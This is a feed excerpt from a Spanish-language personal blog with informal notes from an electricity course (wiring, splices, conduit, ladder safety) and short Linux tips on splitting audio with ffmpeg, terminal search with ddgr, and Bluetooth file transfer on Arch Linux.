<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLySSbd5P5sLcygUGKiTojCpxmTeMjX1GUrNz1qvz2RrSKgzH9gnWK5G65XWeFWZH9LqRJUFUO9YymUXK1mFyVvZEaLay73w55agOOv3KOCVx9YH1ETQnPolGNRNQiU590lKdOrOFZJRjVygCE1t1IJBX1EgllFHjng5ri5nmIdj7UpX581z4IIc6h0Uk/s4160/IMG_20250331_183955217.jpg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtmXLv0FJ66paIXg0lWAWaTTIBtWHIrfYAw9qUSJ1qjgD4_adEYcNu-dj1KbdBAtHlfB_xsXjTsckBI-akUFZmJlnzd35531I2gf1Osz8omc5dLzZKKau0fxHWjHqsjAT7F5bqVE7emyZnReicFbLAkfU4pd5xQ8pi8A68LW9tWlw-HCLpoYR5N2leRBY/s4160/IMG_20250331_201218840.jpg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHm9enOufroTK2SHstJ8N9SRuRjyBs0Wt7qZJXm8027lPNocCrGp8CubzCw1o82CDjeYF-EQB-GNfvTnEGC2KTlA6HZnZyMKrRHNU3FyYSf7n25V6WhWFegB6t_2v25Z7S-0PI-tyYQPKqKrbEbdH9p96nSVfAiukWQXxeYHOYo_52BGrb0qiZYgR66Uw/s4160/IMG_20250331_203058917.jpg" alt=""></p>
<h4 id="transcripción-a-partir-de-minuto-8">Transcripción (A partir de minuto 8)</h4>
<p>Ya que le comento por las dudas algún día quieren y sacan de algún lado. <br>
<strong>30x40 puede tener un … Yo tengo ahí pero no sé si tengo para todos después conseguimos los materiales y todo la idea es tener algo así, algo más chico.</strong> <br>
Hay un tipo que llevó porque su hijo estaba en la escuela industrial (un bastidor).</p>
-
Ffmpeg: dividir audio en varios archivos
https://imlauera.github.io/ffmpeg_dividir_audio_en_varios_archivos/
Sun, 30 Mar 2025 01:17:20 -0300
https://imlauera.github.io/ffmpeg_dividir_audio_en_varios_archivos/
<p>Dividir audio de 2 horas en audios de 1 minuto, esto te puede servir para repetir archivos.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffmpeg -i Record-61.m4a -f segment -segment_time <span style="color:#ae81ff">60</span> -c copy out%03d.m4a
</span></span></code></pre></div>
-
Googlear(dgg) desde la terminal
https://imlauera.github.io/googlear_desde_la_terminal/
Thu, 27 Mar 2025 18:53:39 -0300
https://imlauera.github.io/googlear_desde_la_terminal/
<p>Ya vengo usando w3m junto con aichat hace rato pero esta herramienta es más rápida.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -S ddgr
</span></span><span style="display:flex;"><span>export BROWSER<span style="color:#f92672">=</span>w3m
</span></span><span style="display:flex;"><span>ddgr
</span></span></code></pre></div>
-
Electricidad / Clase 6: Desarmamos bastidores anterior y desarmamos y armamos portalámparas desde 0, identificando fase y neutro.
https://imlauera.github.io/electricidad6/
Wed, 26 Mar 2025 22:23:52 -0300
https://imlauera.github.io/electricidad6/
<h4 id="audio-de-vocaroo">Audio de vocaroo:</h4>
<p><a href="https://vocaroo.com/15jDCE6h4IdZ">https://vocaroo.com/15jDCE6h4IdZ</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-63">https://archive.org/details/record-63</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/embed/nk8Hri7RG6k">https://www.youtube.com/embed/nk8Hri7RG6k</a></p>
<p>Cometí el error de desarmarlo rápido y no observar como estaba armado.</p>
<p>Desarmamos esto, conectamos fase y neutro a la base, luego lo probamos en un tablero.<br>
Para verificar que funcionaba de forma correcta con un multímetro verificamos la continuidad del cable fase y de neutro (no debería haber continuidad).</p>
<p><img src="https://http2.mlstatic.com/D_NQ_NP_936765-MLA46355981719_062021-O.jpg" alt=""></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEPIw7hXBuNk3vheaTrF_GtBahgSgvEcIjUMSmmTLr32d67CEqoWheWzXCDDPE138S2O4u2gt1SKOz8nBJlZNXIl29Z4AO0lwy80msPJ7lWl4DTNraUHeyCDRdD_o877QCPrUoZTNcGfGSDbsy6337h-3hBCH5JJnlr_v8Aw_JhAt3SLme7-EGrqAQefQ/s4160/IMG-20250326-WA0002.jpg" alt=""></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgodE-6veYwOqmqw7A4r6f2vOJRPIrwi79heWdX5LadomN5rtJA25dIOIJjUpah-3DZMsBLJDmvxHLd7HfNw1dBpMrPVAARgB0Bii2T-KjPoSYOW9IrSRGPhArniJDuYgQ8xVBDypdio_A1_qsE1x2iQvaGVJvVo4FhxLXiSNSSC7gC83gNuatNlu5RK_A/s4160/IMG-20250326-WA0003.jpg" alt=""></p>
<h3 id="transcripción-a-partir-minuto-625">Transcripción (a partir minuto 6:25)</h3>
<p>Yo respiro aire puro no más, siempre me afanan los cables así que…</p>
-
Curso Electricidad / Clase 5: Capacitación trabajo en altura. Último día de simbología. Bastidores. Conductores practicar empalme, desarmar cajita cambiar tablero. Repaso clase anterior. PVC o de hierro. Con que corrugado de hierro. Mezcla mortero. Cal corroge al hierro. Medir continuidad. No debe haber continuidad en borneras(tornillos) bajo térmicas. Portalámparas para probar instalación. Antes se mezclaba luces con tomas. Todo enchufe va con sección 2,5 mm^2. Iluminación es de sección 1,5mm^2. Tengo que llegar a 2,5. Fase a la derecha. ITM=2x10A protejo el conductor más chico. No se puede poner 2 circuitos en la misma caja. 35% del espacio se puede ocupar el resto libre por el efecto yull. Antes estructura y cieloraso ya debería estar la instalación eléctrica hecha. Cálculo nivel con infrarojo. No se puede colocar 3 módulos. Lo primero es la canalización. Boca de teléfono ya no se usa. Pregunta alumno: tomacorriente se cruza? No, se usan más cables sino sobrecarga un módulo. Bucle: lugar para meter la mano. En el aula hay un transformador entra 220 y sale 24 voltios para el timbre. Empalme prolongación. Empalme tipo cola de rata. Recomendación: cortar el cable de 1 a 1, sino hay riesgo de cortocircuito. Entonces vimos rápido acuérdense siempre ustedes cuando ven una boca ya sea círculo o círculo cerrado o una circunferencia eso es boca. Que se representa a través de una cajita ortogonal ya puede ser de PVC o la otra que es de hierro, siempre hay que tener en cuenta con que tipo de canalización se encuentra. El tema de seguridad: yo detecto con el dedo que conector que está y a su vez que cañería utilizo bueno eso ya es experiencia, uno de mis alumnos metió el dedo acá y giró al girar se encontró con este alambre y sangraba. Las cañerías de hierro yo tengo una sierra generalmente de 32 dientes y los dientes siempre están en forma de diente para adelante entonces el trabajo es para allá (para adelante) cada vez que yo impulso corto, pero como es una hoja de sierra. No tiene que haber rebarba en la parte de cañería de hierro.
https://imlauera.github.io/electricidad5/
Wed, 26 Mar 2025 01:42:30 -0300
https://imlauera.github.io/electricidad5/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/1oV3Ik1LSwaP">https://vocaroo.com/1oV3Ik1LSwaP</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-61">https://archive.org/details/record-61</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/embed/JafISI-oi6U">https://www.youtube.com/embed/JafISI-oi6U</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQIAvjNFtblr0Lgw5SAtQ5fyF1oD05_SVgxShFsMPvlBnSAbkYBOu6tusz911P5Bmg7iEaRZiW6JnD0jy3dE092dZMV8DuBmiLPOPDRdD-rPd0fvzgzt_E2euh3cELXGydRzSBqCz1a-5fsuWz5lAfTheh8tbhiS1ctOIxzpuJ9CB1wBdf3aK_RSM7FF8/s4160/IMG_20250325_182348168.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCGksoG9BeqJN-ZJOK_n4-eePKWPYJApfwIwjGFXEeEx0aXLTyeZ0Ie3OvKthngWzNdr58KOVPg_GyTzNHIVJRP7sbU12nopAqhKFOriSSrJv8aXy4oMFgJT8HXh7-S2RDh5sRnQEbYw9gfh1mJQ49YjYLMsSgkE6AIHuRRkVvDsLufAw5NUNPifMw_tU/s4160/IMG_20250325_192159830.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKuRSPIOlCGXacHcfkYjaXKzaCb0TM9o63AfcYlUzF12pAndKBpL_jFuTSHuizS0xgzQ9pVLGymZH1qaluOC1Btn3v5r-cW6fCPLHqyFNJpc55zA5ELDwF_5MRjcmPQivitfR4r5P4wLdSszSE_wlAshVdKeKfrkQC4BrMVse8nG6Mnqa5ZuILocQ3v4A/s4160/IMG_20250325_192200724.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgre-6Z5wko5u1lYXS8aLSoMgmD5YqYrWF5DzkUHBG5un4wl9oyVZnQzzhzSX_SQGOvE39hdRAeIKJkqi9ItjENb9rh-pmX1BfGXwi97bmEGAGY1n8erMJzThBTIbnVczi_g3owZmJxZflk9ZqSkZ4-m7gb7nL3Ae51eXQEe75_TTOHw_XpgRiLOlQB_wE/s4160/IMG_20250325_201548937.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7OsnO5bFzY-VWwzpekrcflZdTIjUe7HceECiS8fRTf2vNq7kBDaqEZr5f3TV1hJuWRxn_buY98TlWm_wzztcp0F4Xli7XdOXrqOr1hw7MTTcTTVPV0OK19m7oYlFY2BKPcXbWIArg6hJmQJxJM9eQls7f1tac_6vqBf7N0cadeEpA8dnOS0kT8vpgfRg/s4160/IMG_20250325_202406136.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizieDEYsjwzyGHlu4Dk59At22gRm6OTZ2OCaTtUqnsroHI2WhvEqy8MyPw4kADYoErfj9eyALTxW0CK9wpAQPyiu_OpnCFbOzhjGPS-weSSEbkhuSjH3HompHsg-nvjlFZjwpnDhbTZ4vjKR4-hY2neGqO4r8P-ATwckfAJi64FtoRX5mls78bjDJUYjY/s4160/IMG_20250326_004901531.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhArk5-I8ed2Wmi823YyHl3gqbgJ8pAHgUZO7qazWj1YdlU-EEV0Uw7eZ99whLPbMRV4sH6VCTXqG3KovVYCCGu-Kq3UvOPxnhDKDYJTUolAcA2OsdhyphenhyphenGgDrsXF_Mo5bUHSxV46u2YWBek_XPRLtibp-gUQ6sQ-CzXLV55eEGjELXuNkQ9CU4UAM5b0oM/s4160/IMG_20250326_004915242.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZBzAZBIeV5kb6yvIk11pfbRG5Ijd9OZJPYvLolcGUrK7bfYNFvTby33atE8biboGHppihqNbTgUYw_Kj4NtOoCGgiGhNFVD6FPkRZKVg8zdbdcxL3dwzYbGzewwLH55U5z0waEce6Lvl8FZ6wA5vJCyUBUMtLUYqvzcCBRPkGk6S1Gw5F6URTePpPuNY/s4160/IMG_20250326_004925040.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTKTcAcZ_NAC1J4DOTkNi7JXJHfPdHRd8sD4V0AWEVLKPykYKBvtWdk0p6tMnSLAY1yX_WhOivq8qk7yjgUBmlAfFUR8QOAPD_pmBzM4AkscezYxAeiTQdKt3zvNiwIo8gnw-oIIBT13sd6Lcooz6RnhE-kiHv_jxcM9fCu1e6qBK2v1DVlUZkBVNRNWg/s4160/IMG_20250326_004929199.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYRoPpI8Rf1IPAmvV1leYRDMZgnNp_hRDodAGeb2aEQPWBgRd3xBgtjhj1EX-QyJOMurfZ-xh3JlvTeKTav0i4Ou90w7urADIUgx7U2L9Nt6oN820olM6xXTvl21c4ApS6tNUZjgO1cBF70uR0QXqbO8w2xP3AjALU70LhRzuUsjqwhq-hgBzNDi5CD-o/s4160/IMG_20250326_004941889.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOLJDi2sJ6LI1eYqx5O7dwt3DnMHaJ3tFVtpIh_4AXZM0BTf6lVzHtIpaBJs7NKobs8mMnHPgeRw5dIu_MaX5m8gitgnYbElQkaC1y4utMnYXYy-sivv5C28A1-X-y1-_CccklEo4L5sRijeSeofCJNdwKX6YLqROfhJ7gWI6ebQCM_VTIXirec_mc2mU/s4160/IMG_20250326_004949867.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMf56FWX4zOYrJDCzXqOQOyrPX_t0lD0jMD8I9y2sp69Ep_wASWGs7HH79v1bBzMWJiJkpGF_w4-rywEo0Im5iTdDWMvN9I7x4QfJx60xiOeTj0hFo6uVH7Q6CMA4Ak4ilgGuWJejXjHqLkJSrO_RgFSro1BDbskLCzNwNGddH76rG1_yzCdcuLeUCkMI/s4160/IMG_20250326_004957950.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5zUzqVSsnz_ZWMKudQmnUKnpCyc6c2cdfun99EbE8t0JwaY_r6d-ae3EyWdBrEB4H8VjAVTNpgGGcy70QEJ5CBBq0IfjlyIKRbe4NjkKyY3QM6Sw9TJt2HpJf_qMelMLu2ql6dfi2q8y0zVK2ddZ6qw8craS8FcYaFK-CydfGY4CIxaQnrk_CJ1W3Pl0/s4160/IMG_20250326_005002959.jpg" alt=""></p>
<h4 id="transcripción-a-partir-de-minuto-8">Transcripción a partir de minuto 8.</h4>
<p>Es interesante siempre sale de vez en cuando unas cosas y algunos cursos que dan el ministerio de trabajo siempre es así y yo doy algo de esto esto de seguridad en altura es interesante por el tema del uso de la escalera como tiene que ir si hay que colocar ¿? , todas esas cosas es importante escuchar porque hace a la responsabilidad de cada uno, y más si ustedes están manejando gente entonces tienen que prever en todo sentido que posibilidades de seguridad tengo que hacer para mejorar y que la persona en la cual yo le estoy designando trabajo no esté en peligro. Ustedes a veces no sé si alguna vez vieron gente trabajando en luz con PVC ¿? (Minuto 09:16) y una escalera de tijera ahí increíble pero tiene su efecto también si llegan a caer hay veces que son 2 metros y pirola no hay problema cuando es un poquito grande.</p>
-
Conectar a dispositivo bluetooth en ArchLinux y transferir archivos.
https://imlauera.github.io/bluetooth_arch/
Sat, 22 Mar 2025 14:27:39 -0300
https://imlauera.github.io/bluetooth_arch/
<p>Actualmente levanto un Hotspot en Android me conecto desde la computadora y paso los archivos así (cuando no tengo Internet hago esto).</p>
<p><strong>Si queres transferir archivos tendras que instalar obex primero (explicado más abajo) y después levantar el servicio de bluetooth.</strong> Si solo queres compartir audio podes hacer lo siguiente.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -S bluez bluez-utils bluez-obex bluez-tools
</span></span><span style="display:flex;"><span>sudo systemctl start bluetooth
</span></span></code></pre></div><h4 id="levantamos-el-servicio-obex">Levantamos el servicio obex</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl start obex <span style="color:#75715e"># Si falla correlo como usuario </span>
</span></span><span style="display:flex;"><span>systemctl status obex.service
</span></span><span style="display:flex;"><span>systemctl status bluetooth.service
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### Levantar obex como usuario</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>systemctl --user start --now obex.service
</span></span><span style="display:flex;"><span>systemctl --user enable --now obex
</span></span><span style="display:flex;"><span>systemctl --user status obex
</span></span></code></pre></div><h3 id="no-es-necesario-para-que-bootee-con-bluetooth-activado">No es necesario: Para que bootee con bluetooth activado</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl enable --now bluetooth.service <span style="color:#75715e"># Si queres que bluetooth inicie en el boot.</span>
</span></span><span style="display:flex;"><span>sudo systemctl enable --now obex.service <span style="color:#75715e"># Si queres que obex inicie en el boot. </span>
</span></span></code></pre></div><h4 id="nos-conectamos-a-nuestro-android">Nos conectamos a nuestro Android.</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>bluetoothctl
</span></span><span style="display:flex;"><span>> power on
</span></span><span style="display:flex;"><span>> agent on
</span></span><span style="display:flex;"><span>> scan on
</span></span><span style="display:flex;"><span>> devices
</span></span><span style="display:flex;"><span>> pair MAC_ADDRESS
</span></span><span style="display:flex;"><span>> connect MAC_ADDRESS
</span></span></code></pre></div><p>En caso de una mala conexión usar <code>disconnect MAC_ADDRESS</code></p>
-
Electricidad - Clase 4: Pelar cables con pinza y alicate. La acometida puede ser aérea o subterránea, esa era la posibildad. Simbología. Intervenimos a partir del municipal hacia adentro. Línea principal, acometida, tablero general, tablero seccional y el sistema de medición. Les dije tengan en cuanta la bajada del tanque. Gancho U. ¿Por qué gira el artefacto al colocar?. Colocar cajitas altura. Los módulos son para 10 amper. Está prohibido hacer empalme dentro de las cañerías. Corrugado aprobado y prohibido. El 35% de la superficie de ese círculo tiene que ser ocupado por el conductor más de eso no
https://imlauera.github.io/electricidad4/
Wed, 19 Mar 2025 16:08:40 -0300
https://imlauera.github.io/electricidad4/
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-59">https://archive.org/details/record-59</a></p>
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/1hnXZFbaWXBU">https://vocaroo.com/1hnXZFbaWXBU</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/embed/A0NSDdsoT_w">https://www.youtube.com/embed/A0NSDdsoT_w</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyf5U6qeAht5UW8Zyju4WEC-kaU3WxBoGedGxsmArn87lUwGBotBUtjs0ab4WdiMKBdWRptjg1NG1KrFifPlek0SLk4QUpMU5XLeMI9Vz31Y8sb3VFfxs-96iod4D2XRjHhZ9xIl87ieUhdMRU1S-PNMKucjy1BhfRLXOp0FHCvO7S8JZxFZem5t87cZ0/s4160/IMG_20250318_183607339.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5lVQ5rwJ49WbPuruUxbP-2Ud2JrZH5uOvg9LieGGaeGwzQh7merl__fD6czD4wykNTToe7v7Sj7hxCni3UqR5SVc0rwOtrBdwYvpyrTnWhCF0OVCg4jLTpPB0X3xwRtt66iWRpxdbBjUbhVcLZfEp5pxT5A1qONSH6v2A4VennwEXBDucUlPGCnTZ76w/s4160/IMG_20250318_183609655.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_SYqm3uoqQBNxi54i2Lzlcp3tWmrMMmV4ivLPZstdqOng04xGXcXkeWL-A8O2dBcVnHOrK_6AVGLsSpsBxDo50ml84LC4JL386yGAWJ70Khh-dz5JkRDsW-yr2hfvSYxvmm7BrBOjEotTVhEzDWzvJ64SaB4rYfaD-6V70-5YZegsb3fcnxFmesjcYks/s4160/IMG_20250318_183611698.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWq5nm7oHDYva423ZfDhDhmXngImjJl-takRgxUE6O4cmeupHQt_2qHHcTKUvZGqkNEkkeIJwgwgeQOUpQUzDB06lTYvzsxt4cmSBjd-lyum7FFy3Gg1_LnH6-5SLuCrCpQuNLX5rk8VpBsikSckyRiDu2g6Vn5zg4ohYaYeeDhhpR92IoQj7d9Zk_j-E/s4160/IMG_20250318_184620174.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaQYTd1OpG7AOdUIRAg91gin0TfnuwVe8spDGeBoQ7FTPPCsBUkOyDRuaBRUbGdCd6MwHgFPuyvQ8hKh1FhYF1QZLwJKaw87QUak-jaHL_6GrmAPTS0yMIMC1AjGa9dCfc1HiUxiiXwnEV-IWGebTeY85ug96aXYjzLudrxwH4amTwHV2_mNJ4ne-d_20/s4160/IMG_20250318_184621990.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigwNirMmAL17jLxiZ2K1WR4HzytShHpBd5u2wge2WL-Lqz_JF9-RY63CHa0TqaFkgkR3UqdImFjUdt-RulCRrHltw4p6tf-GXIlHddtpcoxjDk-GGJMetld2IiSIz1UdFuJN3k9Piy2RbjFno_64MEXAJgH7J_fjNgRgqa4Qlhzfqf6g-rEWYGIQWsLAg/s4160/IMG_20250318_184634929.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLz7rf1O_W4MIcCuEZIXKQtJrVRw5OE1c1DkWeBij58gs-KUC1U12UV9hWqeyiaE7pIUQIuta1zsxGjdr54r7feaH52bOU_3-u0dPEBxhlKTQkBsLMnCVP1hjuoVQRjEFNL-uqETQLoQVhM9bS8ZViRRcntrDPetH7uP3IPZ4xa0j79ESsPwiZzmLYRbg/s4160/IMG_20250318_184646856.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWpW3sUrOFJkZbwvM5Jsp6rA_CsQtaDRUFgsfLD2Xwbp68Sb9DZGeOqda0k2CT26HgnBso0Sp6yMY2FkgBC0mrUoLkR1DBvrZGOoiFSTHUAZbCWHFSubpXgO8HogzaU5WcWhEwScEwQj7kOATcLsANyQvCvpUMUtZbhHlPmw9FDqZEdYEfuV-ohRE_aIU/s4160/IMG_20250318_184649870.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWxR42HUsNT6VPpL7ELG1JWYpAYFOVB3VbZINc6BzT5TLMkHZEWVv12AhgEF7XBe3Uft9GzGFgmjKIneLw6oNmDcA_cHEkkXSPhSQ4jR7JPQ3VKu7LwCXuq-zi7jd1EMPX8Ec_Rn9q5QrCwx4vRv8Me0FxGMlh0JnQGCSxgoBfdx17r2aJqowdhxc8WiE/s4160/IMG_20250318_184658558.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYfStdo3AUm8Fy-VyzKm49HLZr3o1gWfU6aqANVxkSzJ8feJlodasjA0JMrh520b7uGsnenlGNd1mosobQgiAwvEQxbDlFqrOQRY1DtijXD3KXi9nj1U2bMAHAJwRnacaynDaFikPSDhbf68IYNQzA_eYUBqV-s6dqMbqsw6eaCKeGo-4KgablR6UlurI/s4160/IMG_20250318_184701023.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYaNZQnbiORUHo3E2QlI-dyWZFAdRw0J4ux4ZkRSK_LN2wdGcUXH44eQgcUgKxmwEzctR9Yoa0aLzRyI0AdFiWPVzpWaA-SPLUNrqetkIEol0wFbcB9D48kacqmo1OCRYyLLM1MuN5Mse_MP_4csFFI631dej2NBW8UODEC4Nuyoc55RD9PVx1lfCBJMY/s4160/IMG_20250318_185047879.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEji3lmgoK5kt3Prydz34s-y4nw-6t5fomPZOT7US-8zDmAzGOF8HAz9_agKSSHy7ltLHuqyZfSFJwFbNucCFC_Ccpd-nnOTZ8GMdCx4VajZH4OUbTbFnpx1J-CCg_78KkAwzEKrFSk5ubcXPPuggk4dmVXqF5K-icQreZ6ARLhuJAfELGSoM_okdcP-qmA/s4160/IMG_20250318_185050801.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5NgABBCsYu4_yFtoCtqfU70pKvqvuTR1Gc2YOWPo-vmNxkRssAEZAu1YxF__y-rP8InPzjAiqjnkWVEjQ-XoS7rV3cUm0YVQqRWzcUo-o6QPFSS7JnfBQG74NVEmhpgq0oTwuEa8iJ3bDeIT22IAMyTGbO3UzmBNmLSS2J80LzHSNTi8RfEONqAId_uk/s4160/IMG_20250318_190056694.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIEBznmWotAE6H40HhFnXExS0zgrYGAfa4zQXLl3Cg2JGRamwqS9LZlE0F_FJgRAOVYpJF-0ORhezHBdoiMtGPvUDmAEXOzlvluPmdRQclrzCYgQGnqCyg3zXkgY_QlK5gTjJF5SQDATU_LShLY2svKUzdspK86X43D23Jo93rkwQSG1qFcSNsqglLwY0/s4160/IMG_20250318_193647190.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTgoT6bjvmySVh9LH-Jgnqj9jVaCEKfj8zRjDHPbn-Gc-jeTUCmiFCSW5S2M94dOmQIh_8Egwob4LvtLkUHtR-9M-kh4olBqMVhxf3P0kEyWVl7xNega0na05DUPmFRzuAYqiMZTTmPBEQupRqbV04bvIPFQeVwDnyMtS9Bmt6PvwB77mCPK4qttWY3RU/s4160/IMG_20250318_193710068.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxK3gjtmBu1e2ww9Db6_z4sH0ymbwNocn6sTWV_8l92ozDoZmOePCo0JbKxXrgqFuIeHEI_3HEBESjbpoqhYci_ZOVNIbDuJNwXnpdk1uHwMV9qXQT81tBbBoSc-r4XIKjqDD0tPzXLgASmjV5_DMhWn6ndxm-5FjC_NUsh-Y52xUKcq3fpch98yF8rZI/s4160/IMG_20250318_194911956.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoFM-ThyGnZwUIAJnsR8C1aAkU8s7GhlsAmPJnD91fsnJ_i2DNHYT2UiLsoSq5UJAlDjm8FCmuHvW34r9aMYtdfjIOOSkpPolgN6pVpgy1NrO9srZz1JOMPA_sVxynpx_9bARZ2hDIAkvFcNvfOPxfY-iI0myLQ9rqUfTpL1fUZpXlTh7iPWfxZo7GImc/s4160/IMG_20250318_194912833.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQ70xGtjqCs7s9SWERW2FEK-qU3Zu0gLCmmNaZyzFNkmmatqpKQ_iAG5Hj9ATtio0j1QavP6nBGa0kYbpp5y8uSSzCDPWYAg6QCg5XJVJz337OJb656Eglr5xrPk6cZ7SyhteCjh71r_12-KfNhO7sOhvrznd0jjLy64BXoiFMLXqlZ9D2Uq5rCB89FKY/s4160/IMG_20250318_195345635.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiSU6HzE3qP2B4H8KFNDwhNbT44VkNhJ2CpKFqNpCI5uQZnQmiGken1pyauBPqvyucTgkuW2Ovn6loiNRVt3N5I5NSpH5ERC7JC71CIjWF9ftqLtlMdmdAp2CrJQZuNnJfFfiUMq9aKLk0E0rFzH2aOjrAjaJLNzLpD5QBEDHb6hCriKE2zAbu3lgCxzo/s4160/IMG_20250318_200515765.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirohK_URgctCkdV98dJSI5tVxTE1giOIpSaYQ0v0sV3ovgub_oBXBd12DbPYFh7o852_6-S_kdxkTtgLLe0sRzOU6yHod-yGMgwjy9mGsolHXfiSxRSTVIir-vNbDqpkilqn7SvtNOk1OEiBwCg5MoS6MdomqBhzMhqFHDAdCHJ0mP6ykKq-lO-EWVGR8/s4160/IMG_20250318_200956327.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWMu_a1LyHK6gtjuj0lqHRscITBOvevjemPxlMf6qN0fOIZyY2oKICEkEziVRv7YuXXmaCvapVRCY2oRt2j361MA_PfFn7sqOfWmPgeh_W60cq17B4C4IvlxNLEoBno2RMCe_X8tFBP6PLbQ3rK2HJOe1HJ50skbwA3i1TTWsvUPKIrAy85M6QHNj7Khc/s4160/IMG_20250318_203759780.jpg" alt=""></p>
<h4 id="transcripción-audio-a-partir-de-minuto-0601">Transcripción audio (A partir de minuto 06:01)</h4>
<p>Algún día voy a tener una biblioteca ahí. Voy a tener algo con cerradura.
Esto que está acá es una instalación que proyecta los materiales que ellos utilizan normalmente PVC.</p>
<p>La idea es ir armando una carpeta con fotocopias.</p>
<p>Yo le prometí que lo primero al estudiar esquema de instalación eléctrica que nos permite a través de la norma.</p>
-
